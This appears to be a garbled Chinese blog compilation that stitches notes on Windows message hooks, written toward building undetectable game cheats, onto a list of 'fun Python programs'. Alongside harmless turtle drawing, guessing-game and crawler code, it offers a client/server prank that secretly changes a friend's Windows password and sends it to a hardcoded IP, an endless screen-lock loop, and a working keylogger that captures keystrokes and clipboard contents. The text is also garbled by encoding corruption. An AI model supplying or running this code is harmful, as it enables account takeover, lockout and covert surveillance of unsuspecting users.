我的理想是能夠?qū)懗鲆粋€(gè)可以永不封號(hào)的游戲外G
嗯,所以需要學(xué)習(xí)Windows下編程,最近好不容易有一點(diǎn)點(diǎn)空余時(shí)間,抓緊時(shí)間讀書【Delphi下深入Windows編程】,人丑就該多讀書
定義:
消息鉤子是創(chuàng)建鉤子時(shí)在Windows的消息處理鏈中插入一個(gè)函數(shù),一旦鉤子安裝成功,就可以監(jiān)控消息,那么向所有應(yīng)用程序發(fā)送的消息都會(huì)先經(jīng)過此函數(shù)
安裝鉤子之前的Windows消息執(zhí)行流程
安裝鉤子之后
注意
系統(tǒng)鉤子程序必須是動(dòng)態(tài)鏈接庫DLL,不能在可執(zhí)行文件EXE中完成,這是因?yàn)榭蓤?zhí)行文件在其他進(jìn)程(另一個(gè)可執(zhí)行文件)中是不可見的,無法實(shí)現(xiàn)鉤子功能,然而DLL卻可以映射到其他進(jìn)程的空間中去
兩個(gè)問題:鉤子的分類、鉤子安裝的順序
這一步其實(shí)很容易實(shí)現(xiàn),我們需要使用Windows API 函數(shù),只是這個(gè)函數(shù)的參數(shù)有點(diǎn)多,但是萬幸不需要我每一個(gè)都構(gòu)造出來,掛鉤函數(shù)SetWindowsHookEx 將安裝應(yīng)用程序定義的鉤子過程到鉤子鏈中
function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall;
參數(shù)說明
得到控制權(quán)的鉤子在得到控制權(quán)之后,如果想要改消息繼續(xù)傳遞給下一個(gè)鉤子,那么它必須調(diào)用CallNextHookEx函數(shù)來傳遞它,否則建議直接返回0
掛鉤函數(shù)的參數(shù)都與掛鉤函數(shù)的類型有關(guān),但是都有一個(gè)相同點(diǎn):nCode 參數(shù)的值可以用來調(diào)用掛鉤鏈中的下一個(gè)掛鉤函數(shù),調(diào)用下一個(gè)掛鉤函數(shù)要用到 CallNextHookEx 函數(shù),其聲明如下:
Result:=CallNextHookEx(hhk:HHook;nCode:Integer;wParam:WPARAM;lParam:LPARAM);
參數(shù)說明:
如果要撤銷當(dāng)前已安裝的鉤子,則要調(diào)用另外一個(gè)函數(shù) UnhookWindowsHookEx。函數(shù)聲明如下:
UnhookWindowsHookEx(
hhk:HHook{待撤銷的鉤子句柄}
):BOOL;
如果主程序調(diào)用 UnhookWindowsHookEx 函數(shù)把DLL 注入其他進(jìn)程后,在不同的操作系統(tǒng)下有可能并不會(huì)立即退出某些不活動(dòng)的進(jìn)程,因此,建議使用SendMessage 向所有進(jìn)程廣播一條消息,從而使DLL完全退出所有的進(jìn)程,如:SendMessage(HWND,BROADCAST,WM_SETINGCNANGE,0,0)
此次分享沒有代碼實(shí)現(xiàn),所有的技術(shù)都是先有理論,后有技術(shù)實(shí)現(xiàn),代碼實(shí)現(xiàn)后續(xù)篇章補(bǔ)上
為提高大家對(duì)“Python”編程語言的學(xué)習(xí)興趣,今天給大家分享幾款有趣的Python程序代碼,感興趣的小伙伴可以跟著學(xué)習(xí)借鑒哦!
用Python代碼創(chuàng)作一副佩奇:
1. # coding:utf-8 2. import turtle as t 3. 4. t.pensize(4) 5. t.hideturtle() 6. t.colormode(255) 7. t.color((255,155,192),"pink") 8. t.setup(840,500) 9. t.speed(10) 10. 11. #鼻子 12. t.pu() 13. t.goto(-100,100) 14. t.pd() 15. t.seth(-30) 16. t.begin_fill() 17. a=0.4 18. for i in range(120): 19. if 0<=i<30 or 60<=i<90: 20. a=a+0.08 21. t.lt(3) #向左轉(zhuǎn)3度 22. t.fd(a) #向前走a的步長 23. else: 24. a=a-0.08 25. t.lt(3) 26. t.fd(a) 27. t.end_fill() 28. 29. t.pu() 30. t.seth(90) 31. t.fd(25) 32. t.seth(0) 33. t.fd(10) 34. t.pd() 35. t.pencolor(255,155,192) 36. t.seth(10) 37. t.begin_fill() 38. t.circle(5) 39. t.color(160,82,45) 40. t.end_fill() 41. 42. t.pu() 43. t.seth(0) 44. t.fd(20) 45. t.pd() 46. t.pencolor(255,155,192) 47. t.seth(10) 48. t.begin_fill() 49. t.circle(5) 50. t.color(160,82,45) 51. t.end_fill() 52. 53. #頭 54. t.color((255,155,192),"pink") 55. t.pu() 56. t.seth(90) 57. t.fd(41) 58. t.seth(0) 59. t.fd(0) 60. t.pd() 61. t.begin_fill() 62. t.seth(180) 63. t.circle(300,-30) 64. t.circle(100,-60) 65. t.circle(80,-100) 66. t.circle(150,-20) 67. t.circle(60,-95) 68. t.seth(161) 69. t.circle(-300,15) 70. t.pu() 71. t.goto(-100,100) 72. t.pd() 73. t.seth(-30) 74. a=0.4 75. for i in range(60): 76. if 0<=i<30 or 60<=i<90: 77. a=a+0.08 78. t.lt(3) #向左轉(zhuǎn)3度 79. t.fd(a) #向前走a的步長 80. else: 81. a=a-0.08 82. t.lt(3) 83. t.fd(a) 84. t.end_fill() 85. 86. #耳朵 87. t.color((255,155,192),"pink") 88. t.pu() 89. t.seth(90) 90. t.fd(-7) 91. t.seth(0) 92. t.fd(70) 93. t.pd() 94. t.begin_fill() 95. t.seth(100) 96. t.circle(-50,50) 97. t.circle(-10,120) 98. t.circle(-50,54) 99. t.end_fill() 100. 101. t.pu() 102. t.seth(90) 103. t.fd(-12) 104. t.seth(0) 105. t.fd(30) 106. t.pd() 107. t.begin_fill() 108. t.seth(100) 109. t.circle(-50,50) 110. t.circle(-10,120) 111. t.circle(-50,56) 112. t.end_fill() 113. 114. #眼睛 115. t.color((255,155,192),"white") 116. t.pu() 117. t.seth(90) 118. t.fd(-20) 119. t.seth(0) 120. t.fd(-95) 121. t.pd() 122. t.begin_fill() 123. t.circle(15) 124. t.end_fill() 125. 126. t.color("black") 127. t.pu() 128. t.seth(90) 129. t.fd(12) 130. t.seth(0) 131. t.fd(-3) 132. t.pd() 133. t.begin_fill() 134. t.circle(3) 135. t.end_fill() 136. 137. t.color((255,155,192),"white") 138. t.pu() 139. t.seth(90) 140. t.fd(-25) 141. t.seth(0) 142. t.fd(40) 143. t.pd() 144. t.begin_fill() 145. t.circle(15) 146. t.end_fill() 147. 148. t.color("black") 149. t.pu() 150. t.seth(90) 151. t.fd(12) 152. t.seth(0) 153. t.fd(-3) 154. t.pd() 155. t.begin_fill() 156. t.circle(3) 157. t.end_fill() 158. 159. #腮 160. t.color((255,155,192)) 161. t.pu() 162. t.seth(90) 163. t.fd(-95) 164. t.seth(0) 165. t.fd(65) 166. t.pd() 167. t.begin_fill() 168. t.circle(30) 169. t.end_fill() 170. 171. #嘴 172. t.color(239,69,19) 173. t.pu() 174. t.seth(90) 175. t.fd(15) 176. t.seth(0) 177. t.fd(-100) 178. t.pd() 179. t.seth(-80) 180. t.circle(30,40) 181. t.circle(40,80) 182. 183. #身體 184. t.color("red",(255,99,71)) 185. t.pu() 186. t.seth(90) 187. t.fd(-20) 188. t.seth(0) 189. t.fd(-78) 190. t.pd() 191. t.begin_fill() 192. t.seth(-130) 193. t.circle(100,10) 194. t.circle(300,30) 195. t.seth(0) 196. t.fd(230) 197. t.seth(90) 198. t.circle(300,30) 199. t.circle(100,3) 200. t.color((255,155,192),(255,100,100)) 201. t.seth(-135) 202. t.circle(-80,63) 203. t.circle(-150,24) 204. t.end_fill() 205. 206. #手 207. t.color((255,155,192)) 208. t.pu() 209. t.seth(90) 210. t.fd(-40) 211. t.seth(0) 212. t.fd(-27) 213. t.pd() 214. t.seth(-160) 215. t.circle(300,15) 216. t.pu() 217. t.seth(90) 218. t.fd(15) 219. t.seth(0) 220. t.fd(0) 221. t.pd() 222. t.seth(-10) 223. t.circle(-20,90) 224. 225. t.pu() 226. t.seth(90) 227. t.fd(30) 228. t.seth(0) 229. t.fd(237) 230. t.pd() 231. t.seth(-20) 232. t.circle(-300,15) 233. t.pu() 234. t.seth(90) 235. t.fd(20) 236. t.seth(0) 237. t.fd(0) 238. t.pd() 239. t.seth(-170) 240. t.circle(20,90) 241. 242. #腳 243. t.pensize(10) 244. t.color((240,128,128)) 245. t.pu() 246. t.seth(90) 247. t.fd(-75) 248. t.seth(0) 249. t.fd(-180) 250. t.pd() 251. t.seth(-90) 252. t.fd(40) 253. t.seth(-180) 254. t.color("black") 255. t.pensize(15) 256. t.fd(20) 257. 258. t.pensize(10) 259. t.color((240,128,128)) 260. t.pu() 261. t.seth(90) 262. t.fd(40) 263. t.seth(0) 264. t.fd(90) 265. t.pd() 266. t.seth(-90) 267. t.fd(40) 268. t.seth(-180) 269. t.color("black") 270. t.pensize(15) 271. t.fd(20) 272. 273. #尾巴 274. t.pensize(4) 275. t.color((255,155,192)) 276. t.pu() 277. t.seth(90) 278. t.fd(70) 279. t.seth(0) 280. t.fd(95) 281. t.pd() 282. t.seth(0) 283. t.circle(70,20) 284. t.circle(10,330) 285. t.circle(70,30) 286. t.done()
效果圖如下:
程序是使用pycharm工具,python語言所寫。程序包括客戶端 client.py 和服務(wù)器端 server.py 兩部分,利用了python中的socket包。
使用方法:
首先,你需要你和你的朋友在同一個(gè)局域網(wǎng)內(nèi),然后在你的主機(jī)上,運(yùn)行服務(wù)器端 server.py。
然后,讓你的朋友在他的電腦上運(yùn)行客戶端 client.py。
此時(shí)你朋友電腦的windows用戶密碼,就會(huì)變成一個(gè)隨機(jī)密碼,且這個(gè)生成的隨機(jī)密碼他本人無法得知,而是把這個(gè)密碼通過socket傳給了服務(wù)器端的你。
嗯,然后你朋友的電腦密碼就只有你自己知道了~
上代碼:
# client.py: import socket import getpass import subprocess import random phone=socket.socket(socket.AF_INET, socket.SOCK_STREAM) phone.connect(('172.17.21.56', 8080)) user=getpass.getuser() psd='' for j in range(1, 9): m=str(random.randrange(0, 10)) psd=psd + m subprocess.Popen(['net', 'User', user, psd]) phone.send(psd.encode('utf-8')) back_msg=phone.recv(1024) phone.close() # server.py import socket phone=socket.socket(socket.AF_INET, socket.SOCK_STREAM) phone.bind(('172.17.21.56', 8080)) phone.listen(5) print('starting....') conn, addr=phone.accept() print(conn) print('client addr', addr) print('ready to read msg') client_msg=conn.recv(1024) print('client msg: %s' % client_msg) conn.send(client_msg.upper()) conn.close() phone.close()
代碼運(yùn)行后windows將無限鎖屏
代碼如下:from ctypes import *
while True:
user32=windll.LoadLibrary('user32.dll')
user32.LockWorkStation()
代碼如下:
1. import random 2. rang1=int(input("請(qǐng)?jiān)O(shè)置本局游戲的最小值:")) 3. rang2=int(input("請(qǐng)?jiān)O(shè)置本局游戲的最大值:")) 4. num=random.randint(rang1,rang2) 5. guess="guess" 6. print("數(shù)字猜謎游戲!") 7. i=0 8. while guess !=num: 9. i +=1 10. guess=int(input("請(qǐng)輸入你猜的數(shù)字:")) 11. 12. if guess==num: 13. print("恭喜,你猜對(duì)了!") 14. elif guess < num: 15. print("你猜的數(shù)小了...") 16. else: 17. print("你猜的數(shù)大了...") 18. 19. print("你總共猜了%d" %i + "次",end='') 20. print(",快和你朋友較量一下...")
這幾年網(wǎng)絡(luò)爬蟲很火,用Python語言實(shí)現(xiàn)網(wǎng)絡(luò)爬蟲最合適不過了,接下來分享一段好玩的爬蟲代碼:
1. # -*- coding: utf-8 -*- 2. import urllib2 3. import re 4. class QSBK: 5. def __init__(self): 6. self.pageIndex=1 7. self.user_agent='Mozilla/5.0 (Windows NT 10.0; WOW64)' 8. self.headers={'User-Agent': self.user_agent} 9. self.stories=[] 10. # 存放程序是否繼續(xù)運(yùn)行的變量 11. self.enable=False 12. # 傳入某一頁的索引獲得頁面代碼 13. def getPage(self, pageIndex): 14. try: 15. url='http://www.qiushibaike.com/hot/page/' + str(pageIndex) 16. request=urllib2.Request(url, headers=self.headers) 17. response=urllib2.urlopen(request) 18. pageCode=response.read().decode('utf-8') 19. return pageCode 20. except urllib2.URLError, e: 21. if hasattr(e, "reason"): 22. print u"連接糗事百科失敗,錯(cuò)誤原因", e.reason 23. return None 24. 25. # 傳入某一頁代碼,返回本頁不帶圖片的段子列表 26. def getPageItems(self, pageIndex): 27. pageCode=self.getPage(pageIndex) 28. if not pageCode: 29. print "頁面加載失敗。。。" 30. return None 31. pattern=re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S) 32. items=re.findall(pattern, pageCode) 33. pageStories=[] 34. for item in items: 35. replaceBR=re.compile('<br/>') 36. text=re.sub(replaceBR,"\n",item[1]) 37. pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()]) 38. return pageStories 39. 40. # 加載并提取頁面內(nèi)容,加入到列表中 41. def loadPage(self): 42. if self.enable==True: 43. if len(self.stories) < 2: 44. pageStories=self.getPageItems(self.pageIndex) 45. if pageStories: 46. self.stories.append(pageStories) 47. self.pageIndex +=1 48. 49. # 調(diào)用該方法,回車打印一個(gè)段子 50. def getOneStory(self, pageStories, page): 51. for story in pageStories: 52. input=raw_input() 53. self.loadPage() 54. if input=="Q": 55. self.enable=False 56. return 57. print u"第%d頁\t發(fā)布人:%s\t贊:%s\t評(píng)論:%s\n%s" %(page,story[0],story[2],story[3],story[1]) 58. 59. def start(self): 60. print u"正在讀取糗事百科,按回車查看新段子,Q退出" 61. self.enable=True 62. self.loadPage() 63. nowPage=0 64. while self.enable: 65. if len(self.stories) > 0: 66. pageStories=self.stories[0] 67. nowPage +=1 68. del self.stories[0] 69. self.getOneStory(pageStories, nowPage) 70. 71. spider=QSBK() 72. spider.start()
Python keylogger鍵盤記錄的功能的實(shí)現(xiàn)主要利用了pythoncom及pythonhook,然后就是對(duì)windows API的各種調(diào)用。Python之所以用起來方便快捷,主要?dú)w功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。
代碼如下:
# -*- coding: utf-8 -*- from ctypes import * import pythoncom import pyHook import win32clipboard user32=windll.user32 kernel32=windll.kernel32 psapi=windll.psapi current_window=None # def get_current_process(): # 獲取最上層的窗口句柄 hwnd=user32.GetForegroundWindow() # 獲取進(jìn)程ID pid=c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid)) # 將進(jìn)程ID存入變量中 process_id="%d" % pid.value # 申請(qǐng)內(nèi)存 executable=create_string_buffer("\x00"*512) h_process=kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 讀取窗口標(biāo)題 windows_title=create_string_buffer("\x00"*512) length=user32.GetWindowTextA(hwnd,byref(windows_title),512) # 打印 print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print # 關(guān)閉handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) # 定義擊鍵監(jiān)聽事件函數(shù) def KeyStroke(event): global current_window # 檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新的窗口) if event.WindowName !=current_window: current_window=event.WindowName # 函數(shù)調(diào)用 get_current_process() # 檢測擊鍵是否常規(guī)按鍵(非組合鍵等) if event.Ascii > 32 and event.Ascii <127: print chr(event.Ascii), else: # 如果發(fā)現(xiàn)Ctrl+v(粘貼)事件,就把粘貼板內(nèi)容記錄下來 if event.Key=="V": win32clipboard.OpenClipboard() pasted_value=win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE]-%s" % (pasted_value), else: print "[%s]" % event.Key, # 循環(huán)監(jiān)聽下一個(gè)擊鍵事件 return True # 創(chuàng)建并注冊(cè)hook管理器 kl=pyHook.HookManager() kl.KeyDown=KeyStroke # 注冊(cè)hook并執(zhí)行 kl.HookKeyboard() pythoncom.PumpMessages()
分享七、用Python寫一個(gè)機(jī)器人陪自己聊聊天吧
用Python寫一個(gè)機(jī)器人陪自己聊聊天吧。是不是聽起來就很酷,用Python語言、itchat庫、圖靈機(jī)器人就可以輕松實(shí)現(xiàn)。
一、需要的工具
1——Python。寫代碼的工具;
2——itchat庫。第三方庫,用來登錄微信,接收并回復(fù)微信好友信息;
3——圖靈機(jī)器人。第三方接口,我們本次使用的機(jī)器人;
二、代碼如下:
1.準(zhǔn)備
導(dǎo)入需要使用的第三方庫
2.獲取來自機(jī)器人的回復(fù)信息
在這里,調(diào)用圖靈機(jī)器人庫,把我們接收到的微信好友信息發(fā)給圖靈機(jī)器人,再取回機(jī)器人回復(fù)的信息,回復(fù)給好友。
這里要用到圖靈機(jī)器人的接口,到圖靈機(jī)器人官網(wǎng)(http://www.tuling123.com)注冊(cè)登陸之后,生成一個(gè)屬于個(gè)人的免費(fèi)接口,免費(fèi)接口一天只能用1000條,雖然不多,但娛樂一下自己也是足夠的了。
創(chuàng)建機(jī)器人成功之后會(huì)得到apikey,把這串密碼放到代碼中的"key"里,這一步就完成了。
3.接受來自好友之間的對(duì)話信息
4.接受來自微信群里面的對(duì)話信息
如果不需要機(jī)器人在群聊里聊天,可以刪除這塊代碼。
5.運(yùn)行
最后一步,登錄微信,并運(yùn)行機(jī)器人。
看完文章后,小伙伴們是不是躍躍欲試了呢?心動(dòng)不如行動(dòng)趕緊行動(dòng)起來吧!Python編程語言真的不難!又很強(qiáng)大!抓緊試試吧!